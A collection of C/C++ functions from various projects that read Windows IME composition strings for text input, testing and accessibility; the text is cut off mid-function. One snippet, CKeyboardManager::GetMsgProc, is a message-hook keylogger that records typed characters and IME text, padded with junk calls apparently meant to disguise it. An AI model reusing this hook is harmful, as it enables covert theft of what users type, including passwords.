/** Handle WM_IME_COMPOSITION messages. */ static LRESULT HandleIMEComposition(HWND hwnd, WPARAM wParam, LPARAM lParam) { HIMC hIMC = ImmGetContext(hwnd); if (hIMC != NULL) { if (lParam & GCS_RESULTSTR) { /* Read result string from the IME. */ LONG len = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // Length is always in bytes, even in UNICODE build. TCHAR *str = (TCHAR *)_alloca(len + sizeof(TCHAR)); len = ImmGetCompositionString(hIMC, GCS_RESULTSTR, str, len); str[len / sizeof(TCHAR)] = '\0'; /* Transmit text to windowing system. */ if (len > 0) { HandleTextInput(NULL, true); // Clear marked string. HandleTextInput(FS2OTTD(str)); } SetCompositionPos(hwnd); /* Don't pass the result string on to the default window proc. */ lParam &= ~(GCS_RESULTSTR | GCS_RESULTCLAUSE | GCS_RESULTREADCLAUSE | GCS_RESULTREADSTR); } if ((lParam & GCS_COMPSTR) && DrawIMECompositionString()) { /* Read composition string from the IME. */ LONG len = ImmGetCompositionString(hIMC, GCS_COMPSTR, NULL, 0); // Length is always in bytes, even in UNICODE build. TCHAR *str = (TCHAR *)_alloca(len + sizeof(TCHAR)); len = ImmGetCompositionString(hIMC, GCS_COMPSTR, str, len); str[len / sizeof(TCHAR)] = '\0'; if (len > 0) { static char utf8_buf[1024]; convert_from_fs(str, utf8_buf, lengthof(utf8_buf)); /* Convert caret position from bytes in the input string to a position in the UTF-8 encoded string. */ LONG caret_bytes = ImmGetCompositionString(hIMC, GCS_CURSORPOS, NULL, 0); const char *caret = utf8_buf; for (const TCHAR *c = str; *c != '\0' && *caret != '\0' && caret_bytes > 0; c++, caret_bytes--) { /* Skip DBCS lead bytes or leading surrogates. */ #ifdef UNICODE if (Utf16IsLeadSurrogate(*c)) { #else if (IsDBCSLeadByte(*c)) { #endif c++; caret_bytes--; } Utf8Consume(&caret); } HandleTextInput(utf8_buf, true, caret); } else { HandleTextInput(NULL, true); } lParam &= ~(GCS_COMPSTR | GCS_COMPATTR | GCS_COMPCLAUSE | GCS_CURSORPOS | GCS_DELTASTART); } }
static inline QString getCompositionString(HIMC himc, DWORD dwIndex) { enum { bufferSize = 256 }; wchar_t buffer[bufferSize]; const int length = ImmGetCompositionString(himc, dwIndex, buffer, bufferSize * sizeof(wchar_t)); return QString::fromWCharArray(buffer, length / sizeof(wchar_t)); }
int CImeView::GetCompCursorPos() { if (!Enter()) return 0; int ret = LOWORD(ImmGetCompositionString(m_hIMC, GCS_CURSORPOS, NULL, 0)); Leave(); return ret; }
BOOL CImeView::GetResultString() { DWORD len; // Storage for length of result str. LPSTR str; // Pointer to result string. if (Enter()) { if ((len = ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, NULL, 0)) > 0) { str = new char[len + 1]; ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, str, len); str[len] = 0; ProcessResultString(str); delete str; } Leave(); } return TRUE; }
LRESULT NativeTextfieldWin::OnImeComposition(UINT message, WPARAM wparam, LPARAM lparam) { text_before_change_.clear(); LRESULT result = DefWindowProc(message, wparam, lparam); ime_composition_start_ = 0; ime_composition_length_ = 0; if(ime_discard_composition_) { // Call IMM32 functions to retrieve the position and the length of the // ongoing composition string and notify the OnAfterPossibleChange() // function that it should discard the composition string from a search // string. We should not call IMM32 functions in the function because it // is called when an IME is not composing a string. HIMC imm_context = ImmGetContext(m_hWnd); if(imm_context) { CHARRANGE selection; GetSel(selection); const int cursor_position = ImmGetCompositionString(imm_context, GCS_CURSORPOS, NULL, 0); if(cursor_position >= 0) { ime_composition_start_ = selection.cpMin - cursor_position; } const int composition_size = ImmGetCompositionString(imm_context, GCS_COMPSTR, NULL, 0); if(composition_size >= 0) { ime_composition_length_ = composition_size / sizeof(wchar_t); } ImmReleaseContext(m_hWnd, imm_context); } } // If we allow OnAfterPossibleChange() to redraw the text, it will do this by // setting the edit's text directly, which can cancel the current IME // composition or cause other adverse affects. So we set |should_redraw_text| // to false. OnAfterPossibleChange(false); return result; }
bool QWindowsInputContext::composition(HWND hwnd, LPARAM lParamIn) { QObject *fo = qApp->focusObject(); const int lParam = int(lParamIn); if (QWindowsContext::verboseInputMethods) qDebug() << '>' << __FUNCTION__ << fo << debugComposition(lParam) << " composing=" << m_compositionContext.isComposing; if (!fo || m_compositionContext.hwnd != hwnd || !lParam) return false; const HIMC himc = ImmGetContext(m_compositionContext.hwnd); if (!himc) return false; QScopedPointer<QInputMethodEvent> event; if (lParam & (GCS_COMPSTR | GCS_COMPATTR | GCS_CURSORPOS)) { if (!m_compositionContext.isComposing) startContextComposition(); // Some intermediate composition result. Parametrize event with // attribute sequence specifying the formatting of the converted part. int selStart, selLength; m_compositionContext.composition = getCompositionString(himc, GCS_COMPSTR); m_compositionContext.position = ImmGetCompositionString(himc, GCS_CURSORPOS, 0, 0); getCompositionStringConvertedRange(himc, &selStart, &selLength); if ((lParam & CS_INSERTCHAR) && (lParam & CS_NOMOVECARET)) { // make Korean work correctly. Hope this is correct for all IMEs selStart = 0; selLength = m_compositionContext.composition.size(); } if (!selLength) selStart = 0; event.reset(new QInputMethodEvent(m_compositionContext.composition, intermediateMarkup(m_compositionContext.position, m_compositionContext.composition.size(), selStart, selLength))); } if (event.isNull()) event.reset(new QInputMethodEvent); if (lParam & GCS_RESULTSTR) { // A fixed result, return the converted string event->setCommitString(getCompositionString(himc, GCS_RESULTSTR)); endContextComposition(); } const bool result = QCoreApplication::sendEvent(fo, event.data()); if (QWindowsContext::verboseInputMethods) qDebug() << '<' << __FUNCTION__ << "sending markup=" << event->attributes().size() << " commit=" << event->commitString() << " to " << fo << " returns " << result; update(Qt::ImQueryAll); ImmReleaseContext(m_compositionContext.hwnd, himc); return result; }
long pymImmGetCompositionString(HIMC hIMC, long dwIndex, void *lpBuf, long dwBufLen) { PyMFC_PROLOGUE(pymFormatMessage); { PyMFCLeavePython lp; LONG ret = ImmGetCompositionString(hIMC, dwIndex, lpBuf, dwBufLen); if (ret == IMM_ERROR_NODATA || ret == IMM_ERROR_GENERAL) { throw PyMFC_WIN32ERR(); } return ret; } PyMFC_EPILOGUE(-1); }
LRESULT JIme::ImeMsgProc(HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam) { switch (iMessage) { case WM_IME_STARTCOMPOSITION: return 0; case WM_IME_COMPOSITION: if (lParam & GCS_COMPSTR) { TCHAR ch[2] = {0,}; HIMC hImc = ImmGetContext(hWnd); int len = ImmGetCompositionString(hImc, GCS_COMPSTR, NULL, 0); if (len==2) { ImmGetCompositionString(hImc, GCS_COMPSTR, ch, len); } ime_comp_char[0] = (len==0)?-1:ch[0]; ImmReleaseContext(hWnd, hImc); } return DefWindowProc(hWnd, iMessage, wParam, lParam); case WM_IME_CHAR: { if (ime_comp_char[1] == 0) ime_comp_char[1] = (TCHAR)wParam; else ime_comp_char[2] = (TCHAR)wParam; return 0; } case WM_CHAR: { if (wParam>=32 && wParam != 127) ime_comp_char[1] = (TCHAR)wParam; return 0; } } return -1; }
static LONG WINAPI handle(HWND win, UINT msg, WPARAM w, LPARAM l) { LONG r; switch (msg) { #define HANDLE(x) case WM_##x: cvReport("han " #x); r = HANDLE_WM_##x(win, w, l, on##x); break HANDLE(TIMER); HANDLE(PAINT); HANDLE(MOUSEMOVE); HANDLE(SIZE); HANDLE(KEYDOWN); HANDLE(SYSKEYDOWN); HANDLE(SYSKEYUP); HANDLE(CHAR); HANDLE(KEYUP); HANDLE(LBUTTONDOWN); HANDLE(RBUTTONDOWN); HANDLE(MBUTTONDOWN); HANDLE(LBUTTONUP); HANDLE(RBUTTONUP); HANDLE(MBUTTONUP); HANDLE(MOUSEWHEEL); HANDLE(DESTROY); HANDLE(CLOSE); #undef HANDLE case WM_IME_STARTCOMPOSITION: { HIMC imc = ImmGetContext(win); COMPOSITIONFORM cf; cf.dwStyle = CFS_POINT; cf.ptCurrentPos.x = cvMouseX(); cf.ptCurrentPos.y = cvMouseY(); ImmSetCompositionWindow(imc, &cf); ImmReleaseContext(win, imc); r = 1; } break; case WM_IME_COMPOSITION: { if(l & GCS_RESULTSTR){ unsigned short str[4096]; unsigned len, i; HIMC imc = ImmGetContext(win); HDC dc = GetDC(win); len = ImmGetCompositionString(imc, GCS_RESULTSTR, str, sizeof(str)); len >>= 1; for (i = 0; i < len; i++) wgot(win, CVE_UNICODE, str[i], 0); ImmReleaseContext(win, imc); chk(ReleaseDC(win, dc)); } r = 0; } break; default: r = 0; }
static void test_ImmNotifyIME(void) { static const char string[] = "wine"; char resstr[16] = ""; HIMC imc; BOOL ret; imc = ImmGetContext(hwnd); msg_spy_flush_msgs(); ret = ImmNotifyIME(imc, NI_COMPOSITIONSTR, CPS_CANCEL, 0); todo_wine { ok(!ret || broken(ret), /* Vista and W2K8 */ "Canceling an empty composition string should fail.\n"); } ok(!msg_spy_find_msg(WM_IME_COMPOSITION), "Windows does not post " "WM_IME_COMPOSITION in response to NI_COMPOSITIONSTR / CPS_CANCEL, if " "the composition string being canceled is empty.\n"); ImmSetCompositionString(imc, SCS_SETSTR, string, sizeof(string), NULL, 0); msg_spy_flush_msgs(); ImmNotifyIME(imc, NI_COMPOSITIONSTR, CPS_CANCEL, 0); ok(!msg_spy_find_msg(WM_IME_COMPOSITION), "Windows does not post " "WM_IME_COMPOSITION in response to NI_COMPOSITIONSTR / CPS_CANCEL, if " "the composition string being canceled is non empty.\n"); /* behavior differs between win9x and NT */ ret = ImmGetCompositionString(imc, GCS_COMPSTR, resstr, sizeof(resstr)); ok(!ret, "After being cancelled the composition string is empty.\n"); msg_spy_flush_msgs(); ret = ImmNotifyIME(imc, NI_COMPOSITIONSTR, CPS_CANCEL, 0); todo_wine { ok(!ret || broken(ret), /* Vista and W2K8 */ "Canceling an empty composition string should fail.\n"); } ok(!msg_spy_find_msg(WM_IME_COMPOSITION), "Windows does not post " "WM_IME_COMPOSITION in response to NI_COMPOSITIONSTR / CPS_CANCEL, if " "the composition string being canceled is empty.\n"); msg_spy_flush_msgs(); ImmReleaseContext(hwnd, imc); }
bool NativeTextfieldWin::IsIMEComposing() const { // Retrieve the length of the composition string to check if an IME is // composing text. (If this length is > 0 then an IME is being used to compose // text.) HIMC imm_context = ImmGetContext(m_hWnd); if(!imm_context) { return false; } const int composition_size = ImmGetCompositionString(imm_context, GCS_COMPSTR, NULL, 0); ImmReleaseContext(m_hWnd, imm_context); return composition_size > 0; }
/************************************************************************ * * MoveCaret * ************************************************************************/ BOOL MoveCaret( HWND hwnd ) { HIMC hIMC; BOOL retVal = TRUE; if ( !( hIMC = ImmGetContext( hwnd ) ) ) goto exit_func; if ( ImmGetCompositionString( hIMC, GCS_CURSORPOS, (void *)NULL, 0 ) ) retVal = FALSE; ImmReleaseContext( hwnd, hIMC ); exit_func: return retVal; }
static bool handleComposition(HWND hwnd, WPARAM wParam, LPARAM lParam) { /* Obtain IME context */ HIMC imc = ImmGetContext(hwnd); if (!imc) return false; wchar_t* comp_str = getCompositionString(imc, GCS_COMPSTR); long selectionStart=ImmGetCompositionString(imc,GCS_CURSORPOS,NULL,0)&0xffff; ImmReleaseContext(hwnd, imc); if(!comp_str) return false; /* Generate notification */ long len=(long)wcslen(comp_str); if(len>1||(len==1&&comp_str[0]!=L'\x3000')) { nvdaControllerInternal_inputCompositionUpdate(comp_str,selectionStart,selectionStart,0); } free(comp_str); return true; }
// Determine the converted string range as pair of start/length to be selected. static inline void getCompositionStringConvertedRange(HIMC himc, int *selStart, int *selLength) { enum { bufferSize = 256 }; // Find the range of bytes with ATTR_TARGET_CONVERTED set. char attrBuffer[bufferSize]; *selStart = *selLength = 0; if (const int attrLength = ImmGetCompositionString(himc, GCS_COMPATTR, attrBuffer, bufferSize)) { int start = 0; while (start < attrLength && !(attrBuffer[start] & ATTR_TARGET_CONVERTED)) start++; if (start < attrLength) { int end = start + 1; while (end < attrLength && (attrBuffer[end] & ATTR_TARGET_CONVERTED)) end++; *selStart = start; *selLength = end - start; } } }
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) { TCHAR szModule [MAX_PATH]; MSG* pMsg; char strChar[2]; char KeyName[20]; //CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam); //CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); pMsg = (MSG*)(lParam); // 防止消息重复产生记录重复,以pMsg->time判断 if ( (nCode != HC_ACTION) || ((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) || (m_dwLastMsgTime == pMsg->time) ) { return result; } m_dwLastMsgTime = pMsg->time; if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR)) { HWND hWnd = pMsg->hwnd; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); HIMC hImc = ImmGetContext(hWnd); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); // 考虑到UNICODE strLen += sizeof(WCHAR); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); ImmReleaseContext(hWnd, hImc); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); SaveInfo(m_pTShared->str); } if (pMsg->message == WM_CHAR) { if (pMsg->wParam <= 127 && pMsg->wParam >= 20) { strChar[0] = (CHAR)pMsg->wParam; strChar[1] = '\0'; SaveInfo(strChar); } else if (pMsg->wParam == VK_RETURN) { SaveInfo("\r\n"); } // 控制字符 else { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); memset(KeyName, 0, sizeof(KeyName)); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0) { KeyName[0] = '['; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); lstrcat(KeyName, "]"); SaveInfo(KeyName); } } } return result; }
LRESULT CALLBACK CTextInputCtrl::s_WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { HDC hdc; PAINTSTRUCT ps; CTextInputCtrl *ptic; switch (message) { case WM_CREATE: SetThis(hwnd, ((CREATESTRUCT *)lParam)->lpCreateParams); SetTimer(hwnd, TIMERID_CARET, GetCaretBlinkTime(), NULL); GetThis(hwnd)->OnCreate(hwnd, wParam, lParam); break; case WM_DESTROY: ptic = GetThis(hwnd); if (ptic) { ptic->OnDestroy(); } break; case WM_SETFOCUS: ptic = GetThis(hwnd); if (ptic) { ptic->OnSetFocus(wParam, lParam); } break; case WM_PAINT: ptic = GetThis(hwnd); hdc = BeginPaint(hwnd, &ps); if (ptic) ptic->OnPaint(hdc); EndPaint(hwnd, &ps); break; case WM_KEYDOWN: ptic = GetThis(hwnd); if (ptic) ptic->OnKeyDown(wParam, lParam); break; case WM_LBUTTONDOWN: ptic = GetThis(hwnd); if (ptic) ptic->OnLButtonDown(wParam, lParam); break; case WM_LBUTTONUP: ptic = GetThis(hwnd); if (ptic) ptic->OnLButtonUp(wParam, lParam); break; case WM_RBUTTONDOWN: ptic = GetThis(hwnd); if (ptic) ptic->OnRButtonDown(wParam, lParam); break; case WM_RBUTTONUP: ptic = GetThis(hwnd); if (ptic) ptic->OnRButtonUp(wParam, lParam); break; case WM_MOUSEMOVE: ptic = GetThis(hwnd); if (ptic) ptic->OnMouseMove(wParam, lParam); break; case WM_IME_COMPOSITION: if (lParam & GCS_RESULTSTR) { HIMC himc = ImmGetContext(hwnd); if (himc) { LONG nSize = ImmGetCompositionString(himc, GCS_RESULTSTR, NULL, 0); if (nSize) { LPWSTR psz = (LPWSTR)LocalAlloc(LPTR, nSize + sizeof(WCHAR)); if (psz) { ImmGetCompositionString(himc, GCS_RESULTSTR, psz, nSize); LocalFree(psz); } } } ImmReleaseContext(hwnd, himc); // // If we don't want to receive WM_IME_CHAR or WM_CHAR with // this result string, we should not call DefWindowProc() // with GCS_RESULTSTR, GCS_RESULTREADSTR, GCS_RESULTCLAUSE and // GCS_RESULTREADCLAUSE flags. // // lParam &= ~(GCS_RESULTCLAUSE | // GCS_RESULTREADCLAUSE | // GCS_RESULTREADSTR | // GCS_RESULTSTR); // if (!lParam) // break; // } return DefWindowProc(hwnd, message, wParam, lParam); case WM_IME_CHAR: // // wParam is a character of the result string. // if we don't want to receive WM_CHAR message for this character, // we should not call DefWindowProc(). // return DefWindowProc(hwnd, message, wParam, lParam); case WM_CHAR: // // wParam is a character of the result string. // switch ((WCHAR)wParam) { case 0x08: case 0x0a: return 0; default: break; } ptic = GetThis(hwnd); if (ptic) { WCHAR wc[2]; wc[0] = (WCHAR)wParam; wc[1] = L'\0'; ptic->_editor.InsertAtSelection(wc); InvalidateRect(hwnd, NULL, TRUE); } break; case WM_TIMER: if (wParam == TIMERID_CARET) { ptic = GetThis(hwnd); if (ptic) { HDC hdc = GetDC(hwnd); ptic->_editor.BlinkCaret(hdc); ReleaseDC(hwnd, hdc); } } break; default: return DefWindowProc(hwnd, message, wParam, lParam); } return 0; }
//********************************************************************** // // void RestoreImeUI() // // This repaints all displayed composition string if need. // Main window procedure will call this upon receiving // WM_PAINT message. // //********************************************************************** void RestoreImeUI( HWND hwnd ) { HIMC hIMC; // Storage for input context handle. LONG bufLen; // // // If fail to get input context handle then do nothing. // if ( !( hIMC = ImmGetContext( hwnd ) ) ) return; // // If IME conversion engine is open and there are any composition // string in the context then we redisplay them. // if ( ImmGetOpenStatus( hIMC ) && gImeUIData.ImeState && ( bufLen = ImmGetCompositionString( hIMC, GCS_COMPSTR, (void *)NULL, 0l ) ) > 0 ) { LPSTR lpCompStr; // Pointer to composition string HLOCAL hMem; // Storage for memory handle. LPSTR lpCompStrAttr = NULL; // Pointer to composition string's attribute LONG bufLenAttr; // HLOCAL hMemAttr = NULL; // Memory handle for composition string's // attributes. // // If fail to allocate and lock memory space for reading in // the composition string then do nothing. // if ( !( hMem = LocalAlloc( LPTR, (int)bufLen + 1 ) ) ) goto exit2; if( !( lpCompStr = (LPSTR) LocalLock( hMem ) ) ) { LocalFree( hMem ); goto exit2; } // // Get composition string and redisplay them. // if ( ImmGetCompositionString( hIMC, GCS_COMPSTR, lpCompStr, bufLen ) > 0 ) { // // Make sure whether we need to handle composition string's // attributes. // if ( ( bufLenAttr = ( ImmGetCompositionString( hIMC, GCS_COMPATTR, (void FAR*)NULL, 0l ) ) ) > 0 ) { // // If fail to allocate and lock memory space for reading in // the composition string's attribute then we assume // no attribute array. // if ( !( hMemAttr = LocalAlloc(LPTR, (int)bufLenAttr + 1 ))) goto nothing; if ( !( lpCompStrAttr = (LPSTR) LocalLock( hMemAttr ) ) ) { LocalFree( hMemAttr ); goto nothing; } ImmGetCompositionString( hIMC, GCS_COMPATTR, lpCompStrAttr, bufLenAttr ); lpCompStrAttr[ bufLenAttr ] = 0; } else { nothing: lpCompStrAttr = NULL; } lpCompStr[ bufLen ] = 0; DisplayCompString( hwnd, lpCompStr, lpCompStrAttr ); } LocalUnlock( hMem ); LocalFree( hMem ); if ( lpCompStrAttr ) { if (NULL != hMemAttr) { LocalUnlock( hMemAttr ); LocalFree( hMemAttr ); } } } exit2: ImmReleaseContext( hwnd, hIMC ); }
LRESULT CALLBACK EditCtlProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam) { LPCTSTR lpTable, lpTable1; TCHAR c; #ifdef FAREAST TCHAR ch, chHW; #endif // FAREAST HKL hkl = GetKeyboardLayout(0); ASSERT(oldEditCtlProc); switch (message) { case WM_PASTE : { BOOL bPassThrough = TRUE; if (IsNumericOnlyEdit(hwnd)) { // only going to accept pastes that have pure numeric data in them HANDLE hMem; if(OpenClipboard(hwnd)) { hMem = GetClipboardData(CF_UNICODETEXT); if(hMem) { TCHAR *pText = (TCHAR *)LocalLock(hMem); // can't fail on CE int iLen = _tcslen(pText); int iPos = 0; for (iPos = 0; (iPos < iLen) && bPassThrough; iPos++) { if (!_istdigit(pText[iPos])) { // bad char bPassThrough = FALSE; } } LocalUnlock(hMem); } CloseClipboard(); } } if (bPassThrough) { return CallWindowProc(oldEditCtlProc,hwnd, message, wParam, lParam); } else { MessageBeep(MB_OK); return FALSE; } } break; case WM_IME_COMPOSITION: if( ImmIsIME(hkl ) && LOWORD(hkl ) == MAKELANGID(LANG_KOREAN, SUBLANG_DEFAULT)) { HIMC himc = ImmGetContext(hwnd); if (himc) { TCHAR szTempStr[4]; if (0<ImmGetCompositionString(himc,GCS_COMPSTR, szTempStr, 4)) { DWORD fdwConversion; DWORD fdwSentence; ImmNotifyIME(himc,NI_COMPOSITIONSTR,CPS_CANCEL,0); ImmGetConversionStatus(himc, &fdwConversion, &fdwSentence); fdwConversion&=(~IME_CMODE_NATIVE); ImmSetConversionStatus(himc,fdwConversion, fdwSentence); } ImmReleaseContext(hwnd,himc); return CallWindowProc(oldEditCtlProc,hwnd, message, wParam, lParam); } } break; case WM_CHAR: #ifdef FAREAST // Convert full-width numbers to half width ch = (TCHAR)wParam; LCMapString(LOCALE_USER_DEFAULT, LCMAP_HALFWIDTH, &ch, 1, &chHW, 1); wParam = (WPARAM)chHW; #endif // FAREAST // This character is not ASCII. If your country/region needs specific characters. You // have to change this. Otherwise, we abandon this character. if (wParam >= 0x80 ) { // service on ilegal chars MessageBeep(MB_OK); return TRUE; } if (wParam < VK_SPACE || wParam > 0x7e ) { // service on legal chars //DPF("None ascii char. ignore \r\n "); break; } if ((lpTable = GetTable(hwnd)) == NULL) { // DPF("Can not find table, trying parent \r\n"); if ((lpTable = GetTable(GetParent(hwnd))) == NULL) { //DPF("Can not find table, \r\n"); break; } } lpTable1 = lpTable; if (wParam >= '0' && wParam <= '9') goto found; while ((c = *lpTable++) > 0) { if ((TCHAR)wParam == c) goto found; } // now try w/ upper case if (iswlower((TCHAR)wParam)) { wParam = (LPARAM)towupper((TCHAR)wParam); while ((c = *lpTable1++) > 0) { if ((TCHAR)wParam == c) goto found; } } //DPF1("Char '%c' not in table\r\n", wParam); MessageBeep(MB_OK); return TRUE; found: //DPF1("Found char '%c' in table\r\n", wParam); break; default: break; } // of switch return CallWindowProc(oldEditCtlProc, hwnd, message, wParam, lParam); }
LRESULT CALLBACK CTextInputCtrl::s_WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { HDC hdc; PAINTSTRUCT ps; HIMC himc; CTextInputCtrl *ptic; switch (message) { case WM_CREATE: SetThis(hwnd, ((CREATESTRUCT *)lParam)->lpCreateParams); SetTimer(hwnd, TIMERID_CARET, GetCaretBlinkTime(), NULL); GetThis(hwnd)->OnCreate(hwnd, wParam, lParam); break; case WM_PAINT: ptic = GetThis(hwnd); hdc = BeginPaint(hwnd, &ps); if (ptic) ptic->OnPaint(hdc); EndPaint(hwnd, &ps); break; case WM_KEYDOWN: ptic = GetThis(hwnd); if (ptic) ptic->OnKeyDown(wParam, lParam); break; case WM_LBUTTONDOWN: ptic = GetThis(hwnd); if (ptic) ptic->OnLButtonDown(wParam, lParam); break; case WM_LBUTTONUP: ptic = GetThis(hwnd); if (ptic) ptic->OnLButtonUp(wParam, lParam); break; case WM_RBUTTONDOWN: ptic = GetThis(hwnd); if (ptic) ptic->OnRButtonDown(wParam, lParam); break; case WM_RBUTTONUP: ptic = GetThis(hwnd); if (ptic) ptic->OnRButtonUp(wParam, lParam); break; case WM_MOUSEMOVE: ptic = GetThis(hwnd); if (ptic) ptic->OnMouseMove(wParam, lParam); break; case WM_SETFOCUS: // // Level 2 Support // ptic = GetThis(hwnd); if (ptic) { ptic->_editor.SetCompositionForm(); ptic->SetCompositionFont(); } break; case WM_IME_STARTCOMPOSITION: // // Level 2 Support // ptic = GetThis(hwnd); if (ptic) { ptic->_editor.OnStartComposition(); ptic->_editor.SetCompositionForm(); ptic->SetCompositionFont(); } // If it is a near caret IME, we should keep Level 2 path. if (IsNearCaretIME()) { return DefWindowProc(hwnd, message, wParam, lParam); } break; case WM_IME_COMPOSITION: himc = ImmGetContext(hwnd); if (himc) { BOOL fNearCaret = IsNearCaretIME(); if (lParam & GCS_RESULTSTR) { LONG nSize = ImmGetCompositionString(himc, GCS_RESULTSTR, NULL, 0); if (nSize) { LPWSTR psz = (LPWSTR)LocalAlloc(LPTR, nSize + sizeof(WCHAR)); if (psz) { ImmGetCompositionString(himc, GCS_RESULTSTR, psz, nSize); ptic = GetThis(hwnd); if (ptic) { ptic->_editor.InsertResultAtComposition(psz); ptic->_editor.UpdateLayout(&ptic->_lfCurrentFont); ptic->_editor.SetCompositionForm(); ptic->_editor.SetInterimCaret(FALSE); InvalidateRect(hwnd, NULL, TRUE); } LocalFree(psz); } } } if ((lParam & GCS_COMPSTR) && !fNearCaret) { LONG lDeltaStart = ImmGetCompositionString(himc, GCS_DELTASTART, NULL, 0); LONG lCursorPos = ImmGetCompositionString(himc, GCS_CURSORPOS, NULL, 0); LONG lSize = ImmGetCompositionString(himc, GCS_COMPSTR, NULL, 0); LONG lAttrSize = ImmGetCompositionString(himc, GCS_COMPATTR, NULL, 0); LONG lClauseInfoSize = ImmGetCompositionString(himc, GCS_COMPCLAUSE, NULL, 0); if (lSize) { BYTE *prgAttr = NULL; LONG *prgClauseInfo = NULL; LPWSTR psz = (LPWSTR)LocalAlloc(LPTR, lSize + sizeof(WCHAR)); if (lAttrSize) prgAttr = (BYTE *)LocalAlloc(LPTR, lAttrSize + sizeof(BYTE)); if (lClauseInfoSize) prgClauseInfo = (LONG *)LocalAlloc(LPTR, lClauseInfoSize + sizeof(LONG)); if (psz) { if (ImmGetCompositionString(himc, GCS_COMPSTR, psz, lSize)) { if (prgAttr) { if (!ImmGetCompositionString(himc, GCS_COMPATTR, prgAttr, lAttrSize)) { prgAttr = NULL; lAttrSize = 0; } } if (prgClauseInfo) { if (!ImmGetCompositionString(himc, GCS_COMPCLAUSE, prgClauseInfo, lClauseInfoSize)) { prgClauseInfo = NULL; lClauseInfoSize = 0; } } ptic = GetThis(hwnd); if (ptic) { ptic->_editor.UpdateComposition(psz, lDeltaStart, lCursorPos, prgAttr, lAttrSize, prgClauseInfo, lClauseInfoSize); ptic->_editor.UpdateLayout(&ptic->_lfCurrentFont); ptic->_editor.SetCompositionForm(); InvalidateRect(hwnd, NULL, TRUE); } } LocalFree(psz); } if (prgAttr) LocalFree(prgAttr); if (prgClauseInfo) LocalFree(prgClauseInfo); } if (lParam & CS_INSERTCHAR) { WCHAR sz[2]; sz[0] = (WCHAR)wParam; sz[1] = L'\0'; ptic->_editor.SetInterimCaret(TRUE); ptic->_editor.UpdateComposition(sz, 0, 0, NULL, 0, NULL, 0); ptic->_editor.MoveSelectionToComposition(); ptic->_editor.UpdateLayout(&ptic->_lfCurrentFont); ptic->_editor.SetCompositionForm(); InvalidateRect(hwnd, NULL, TRUE); } } ImmReleaseContext(hwnd, himc); // If it is a near caret IME, we should keep Level 2 path. if ((lParam & GCS_COMPSTR) && fNearCaret) { lParam &= ~(GCS_RESULTCLAUSE | GCS_RESULTREADCLAUSE | GCS_RESULTREADSTR | GCS_RESULTSTR); return DefWindowProc(hwnd, message, wParam, lParam); } } break; case WM_IME_ENDCOMPOSITION: // The composition ends. ptic = GetThis(hwnd); if (ptic) { // We need to clear the attributes. // There is a case that the composition string is canceled and it did not // completed (GCS_RESULTSTR did not come). ptic->_editor.ClearAttrAndClauseInfo(); ptic->_editor.UpdateLayout(&ptic->_lfCurrentFont); InvalidateRect(hwnd, NULL, TRUE); } // If it is a near caret IME, we should keep Level 2 path. if (IsNearCaretIME()) { return DefWindowProc(hwnd, message, wParam, lParam); } break; case WM_IME_NOTIFY: if (wParam == IMN_OPENCANDIDATE) { ptic = GetThis(hwnd); if (ptic) { ptic->_editor.SetCandidateForm(); } } return DefWindowProc(hwnd, message, wParam, lParam); case WM_IME_SETCONTEXT: return DefWindowProc(hwnd, message, wParam, lParam & ~ISC_SHOWUICOMPOSITIONWINDOW); case WM_IME_REQUEST: switch (wParam) { case IMR_QUERYCHARPOSITION: { ptic = GetThis(hwnd); if (ptic) { ptic->_editor.QueryCharPosition((IMECHARPOSITION *)lParam); return 1; } } case IMR_DOCUMENTFEED: { ptic = GetThis(hwnd); if (ptic) { return ptic->_editor.OnDocumentFeed((RECONVERTSTRING *)lParam); } } case IMR_RECONVERTSTRING: { ptic = GetThis(hwnd); if (ptic) { return ptic->_editor.OnReconvertString((RECONVERTSTRING *)lParam); } } case IMR_CONFIRMRECONVERTSTRING: { ptic = GetThis(hwnd); if (ptic) { return ptic->_editor.OnConfirmReconvertString((RECONVERTSTRING *)lParam); } } } break; case WM_IME_CHAR: // // wParam is a character of the result string. // if we don't want to receive WM_CHAR message for this character, // we should not call DefWindowProc(). // return DefWindowProc(hwnd, message, wParam, lParam); case WM_CHAR: // // wParam is a character of the result string. // switch ((WCHAR)wParam) { case 0x08: case 0x0a: return 0; default: break; } ptic = GetThis(hwnd); if (ptic) { WCHAR wc[2]; wc[0] = (WCHAR)wParam; wc[1] = L'\0'; ptic->_editor.InsertAtSelection(wc); InvalidateRect(hwnd, NULL, TRUE); } break; case WM_TIMER: if (wParam == TIMERID_CARET) { ptic = GetThis(hwnd); if (ptic) { HDC hdc = GetDC(hwnd); ptic->_editor.BlinkCaret(hdc); ReleaseDC(hwnd, hdc); } } break; default: return 